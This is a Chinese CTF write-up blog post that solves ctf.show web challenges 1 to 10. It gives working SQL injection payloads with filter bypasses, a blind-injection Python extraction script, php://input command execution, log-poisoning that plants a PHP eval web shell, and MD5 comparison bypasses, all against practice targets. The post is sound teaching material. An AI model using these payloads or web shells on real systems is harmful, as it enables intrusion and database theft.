ctf.show web web1-web10

ctf.show web web1-web10笔记

记录一些web的知识点,本人刚开始学习web很多资料都是借鉴大佬的,许多复现的过程都是大同小异的,写的菜了请大佬们下手轻点

web1

一道简单的入门题

打开环境发现只有一串英文,flag在哪

按CTRL+u查看源码发现一串字符串:Y3Rmc2hvd3s4YTcwYzcxOS04NmQwLTQ0MTAtOTBjYS0zMjdkNjkxOWQyYzN9

vWmReA.png

根据特征发现是base64,到在线网站去解密得到flag

vWm4FP.md.png

flag:ctfshow{8a70c719-86d0-4410-90ca-327d6919d2c3}

web2

提供一些SQL的知识点:

Tables_name:表名

Information_schema.tables:储存MySQL数据库下面的所有表名信息表

Column_name:列名

Information_schema.columns:储存MySQL数据库下面的所有列名信息的表

打开环境是一个登陆界面,输入用户名输入admin,密码随便输入(我输入的是123),然后用burp进行抓包

vWnkwR.png

vWnZY6.png

然后把抓取到的数据发送到Repeater模块,试一下万能密码:'or 1=1#

username=admin'or 1=1#&password=123 

发现登录成功(有回显)

vWnMOH.png

接着查看回显位置:

username=admin'or 1=1 union select 1,2,3#&password=123

vWn10A.png

有回显,查找2中的数据库名:

username=admin'or 1=1 union select 1,database(),3#&password=123

vWnGkt.png

发现数据库位于web2,查询web2库下的所有表名:

username=admin'or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema='web2'#&password=123

vWnYff.png

查询flag表下的列名,回显列名flag:

username=admin'or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#&password=123

vWnNp8.png

最后查询列名内容,找到flag:

username=admin'or 1=1 union select 1,flag,3 from flag#&password=123

vWna6g.png

flag:ctfshow{26b1461e-0971-4c2f-9d3a-6230e61cfdb8}

web3

打开环境,看到这道题目提示我们可以知道这是一道php伪协议+文件包含漏洞的题目,

vquQtf.png

在url的参数中提交PHP伪协议

?url=php://input

vqQZX4.png

使用bp抓包,在POST请求中输入需要执行的PHP代码,比如:查看当前目录下的文件

<?php system('ls');?>

vqlgxO.png

看到response返回了ctf_go_go_go和index.php的两个文件,只需要替换左边第二个框里面的内容

<?php system('cat ctf_go_go_go');?>

vqGfpt.png

执行完指令后出现了flag

ctfshow{e44bad1d-e729-486c-9c7d-82fa4d406f0b}

web4

打开环境,提示我们利用文件包含漏洞

vOGhX6.png

包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息

?url=/var/log/nginx/access.log

vOtKp9.png

然后使用bp进行抓包,在请求头User-Agent中插入一句话木马

<?php eval($_POST['a'])?>

vOtMlR.png

再次访问日志文件, 会发现新增了一条访问记录, ,但没有我们插入的一句话木马,这很正常,因为日志文件中的代码会被执行,而不会显示

vOtQ61.png

接下来我们使用蚁剑等工具链接后门即可

vOtGTO.png

使用蚁剑的文件管理功能,www目录下有一个flag.txt文件,很明显flag就在这里面

vOtNfH.png

最后得到flag

vOtapd.png

ctfshow{14b1989e-f088-46cf-8f67-8896f23fc646}

web5

打开环境,根据给的php代码可以看出来,这题需要传递两个参数,如果两个参数的MD5值相同,就可以得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lq7gDpjc-1663399168943)(C:/Users/Administrator/AppData/Roaming/Typora/typora-user-images/image-20220911030411353.png)]

推荐直接利用MD5的0e漏洞进行绕过,可以参考这篇博客0e漏洞是如何绕过的:https://blog.csdn.net/wangyuxiang946/article/details/119845182

构造一个payload,进行一个绕过拿取flag

?v1=QNKCDZO&v2=240610708

vOtRpj.png

ctfshow{4e4c56af-acc4-4f29-b371-b098287317a4}

web6

打开环境是用户名密码登录,我们首先第一个想到的就是sql注入了,用万能账号试一试,密码随便输

' or 1=1#

vjIVsA.png

出现了错误:sql inject error,然后用bp抓包

vzAV3T.png

通过抓包可以知道空格被注释掉了,所以要把被注释掉的空格给替换了,一般空格被过滤了有这些替换:/**/,(),回车(url编码中的%0a),`(tab键上面的键),两个空格

就用第一个/**/来替换空格

'/**/or/**/1=1#

vzZbM8.png

发现可以登录,然后手工注入寻找flag在哪,order by查询字段为:

username='/**/or/**/1=1/**/order/**/by/**/3#&password=123

vznLqO.png

查询字段为3,回显的字段数为:

username='/**/or/**/1=1/**/union/**/select/**/1,2,3#&password=123

vznvIH.png

回显的字段数为2,数据库名:

username='/**/or/**/1=1/**/union/**/select/**/1,database(),3#&password=123

vznzid.png

数据库名为web2,查询web2下所有表信息:

username='/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#&password=123

vzupRI.png

得到两个表flag和user,查询指定表名下flag下的信息:

username='/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=123

vzuPQP.png

查询flag下的数据:

username='/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=123

vzuFL8.png

最后得到flag:ctfshow{ef851e51-e1c8-42a4-9695-b99f73b0b448}

web7

打开环境,看到三个文章列表,随便打开一个,在url看到有?id=x的参数,所有存在SQL注入点:

vzQoTO.png

使用?id=1 and 1=1#或者?id=1 and 1=2#来测试,我使用的的是:

/id=1 and 1=1#

vzQz0f.png

出现了错误:sql inject error,猜测一下是注释掉了空格用/**/来替换,构造下面的payload使SQL恒成立

?id=1/**/and/**/1=1#

vzlCtg.png

构造下面的payload使SQL恒不成立

?id=1/**/and/**/1=2#

vzlKNF.png

可以看到页面显示的是空白,由此可以判断页面存在SQL注入,注入点为数值型注入,尝试一下联合注入进行脱库,传一个?id=-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮我们判断字段显示的位置,在此之前先构建一个order by查询字段:

?id=1/**/and/**/1=1/**/order/**/by/**/3#

vzlYB6.png

查询字段为3,回显的字段数为:

?id=-1/**/union/**/select/**/1,2,3

vzlB3d.png

回显的字段数为2,数据库名:

?id=-1/**/union/**/select/**/1,database(),3

vzlyut.png

数据库名为web7,查询web7数据库下所有表名:

?id=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

vzl5gs.png

得到三个表,主要是要得到flag,所以接下来查询指定表名下flag下的信息:

?id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3

vzl7D0.png

查询flag表下的flag字段,获得flag:

?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

vzlHbV.png

最后得到flag:ctfshow{a6ff6fbd-9bfa-4d84-8a8c-8a21ed879ff1}

web8

打开环境,和上题类似都是SQL注入的题,根据上一题的经验这题也过滤掉了空格,构造payload

?id=1/**/and/**/1=1#

vzGsJS.png

提示了sql注入错误,那么and被过滤了,那么考虑把and换成or进行注入

?id=1/**/or/**/1=1#

vzG2ss.png

有显示然后进行联合注入,构造payload

?id=-1/**/union/**/select/**/1,2,3

vzGRLn.png

提示SQL注入错误,说明联合注入被过滤掉了,只能采用其他的方法注入了,提示一下被过滤可以替换的:

过滤空格:可以使用注释/**/或者%a0绕过

过滤and:可以使用or代替

过滤联合注入:可以使用盲注替代联合注入

过滤逗号:可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替

因为联合注入被过滤了,所以只有用盲注来代替,盲注可以参考这篇博客:https://blog.csdn.net/weixin_49150931/article/details/111829828

由于盲注脱库比较复杂, 网上找了Python脚本进行自动化脱库, 脚本来自此博客:https://blog.csdn.net/Critical_plus/article/details/108120414

import requests
s=requests.session()
url='http://9731a937-0a92-49ac-80e4-363fd8642428.challenge.ctf.show/index.php'
table=""

for i in range(1,45):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

通过盲注的脚本得到flag,得到的flag少一个}自己补上就行

vzG7z4.png

最后得到flag:ctfshow{cadf1f98-3d84-40ed-bb45-cd3411f42713}

web9

打开环境,这题也是登录框的题,简单的尝试了万能账号已经过滤绕过,各种方法均没有回显,又继续查看源码,也没有提示,猜测可能有其他的页面,对网址的后台进行扫描,用dirsearch扫描网址的目录:

在Windows下:

python3 dirsearch.py -u http://a51561a4-315b-418d-b70b-2d4dcd65aa4a.challenge.ctf.show/

在Linux的kali下:

dirsearch -u http://a51561a4-315b-418d-b70b-2d4dcd65aa4a.challenge.ctf.show/

vzoFP0.png

在扫描网址目录中存在robots.txt,说明一下robots.txt是一个文本文件,也是一个协议,规定了爬虫访问的规则(哪些文件可以爬取,那些文件不可以爬取)

打开robots.txt,提示打开/index.phps

vzovJx.png

然后访问/index.phps文件,将其下载到了本地,从给的源码中发现了SQL中使用了MD5()函数加密,可以利用MD5加密漏洞来绕过

vzTyfx.png

网上大佬给出的一个万能密码,可以参考这篇博客:https://www.cnblogs.com/tqing/p/11852990.html

ffifdyop

vz7d8P.png

最后得到flag:ctfshow{310dbdcf-dcfa-42e6-9eea-ea10cc941cf1}

web10

打开环境,又是一道登录的题,猜测是SQL注入的题

xS2UKA.png

有点出乎意料,点击下载就可以拿到源码,然后下载到本地

xS22Ks.png

  $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";

从源码中得知几乎把SQL注入用到的关键词过滤的差不多了

if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");

然后这两条限制使得无法通过双写绕过,发现没有过滤group by 和with rollup 函数,这里介绍一下group by 和 with rollup 两个分组函数,with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)

然后就可以构造payload:

username='/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

xS5TG6.png

最后得到flag:ctfshow{95e0644a-0c76-4163-a78f-4cdd509bd0b8}

  • 8
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

苏落不会打CTF

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值